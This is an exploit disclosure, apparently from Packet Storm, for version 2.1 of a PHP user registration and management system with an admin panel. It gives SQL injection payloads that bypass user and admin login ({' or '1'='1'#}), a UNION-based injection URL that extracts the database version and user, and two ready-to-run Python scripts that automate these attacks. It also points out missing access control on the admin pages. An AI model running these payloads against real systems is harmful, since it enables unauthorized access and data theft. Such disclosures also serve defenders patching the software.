User Registration And Login And User Management System 2.1 SQL Injection

User Registration and Login and User Management System with admin panel version 2.1 suffers from multiple remote SQL injection vulnerabilities. One allows for authentication bypass.


MD5 | c668e96ed58cfdd4c4e8f03e2b5ef9b1

Download
# Exploit Title: User Registration & Login and User Management System With admin panel - Authentication Bypass
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

[User Login]:

Vulnerable File:
---------------- 
/index.php

Vulnerable Code:
-----------------
line 62: $femail=$_POST['femail'];

Vulnerable Issue:
-----------------
$femail=$_POST['femail']; has no sanitization

POC User Login:
---------------

URL: http://localhost/loginsystem/index.php
Username : ' or '1'='1'#
Password : anything

********************************************************************************

[Admin Login]:

Vulnerable File:
---------------- 
/admin/index.php

Vulnerable Code:
-----------------
line 7: $adminusername=$_POST['username'];

Vulnerable Issue:
-----------------
$adminusername=$_POST['username']; has no sanitization

POC Admin Login:
---------------

URL: http://localhost/loginsystem/admin/index.php
Username : ' or '1'='1'#
Password : anything

********************************************************************************

Python Admin Login POC:
----------------------

import requests

url = "http://localhost:80/loginsystem/admin/"

payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login=Submit+Query"
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", 
    "Connection": "close", 
    "Referer": "http://localhost/loginsystem/admin/", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "73", 
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.request("POST", url, data=payload, headers=headers)

print(response.text)



-----------------

# Exploit Title: User Registration & Login and User Management System With admin panel - 'uid' SQL Injection
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Any registered user can access admin pages (update-profile.php,manage-users.php,change-password.php) - no propeer ACL / session control

Vulnerable File:
---------------- 
/admin/update-profile.php

Vulnerable Code:
-----------------
line 15:  $uid=intval($_GET['uid']);

Vulnerable Issue:
-----------------
 $uid=intval($_GET['uid']); has no sanitization

POC:
----

[+] Need any registered user to be authencated first.

http://localhost/loginsystem/admin/update-profile.php?uid=11'+UNION+ALL+SELECT+NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL--+-

Python Code:
------------

import requests,re

url = "http://localhost:80/loginsystem/admin/update-profile.php?uid=11%27+UNION+ALL+SELECT+NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL--+-"

payload = ""
headers = {
    "Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

pattern = "(?<=gh1mau).*?(?=gh1mau)"
response = requests.request("GET", url, data=payload, headers=headers)
version=re.findall(pattern,response.text)

print(version)

Source: packetstormsecurity.com
Related Posts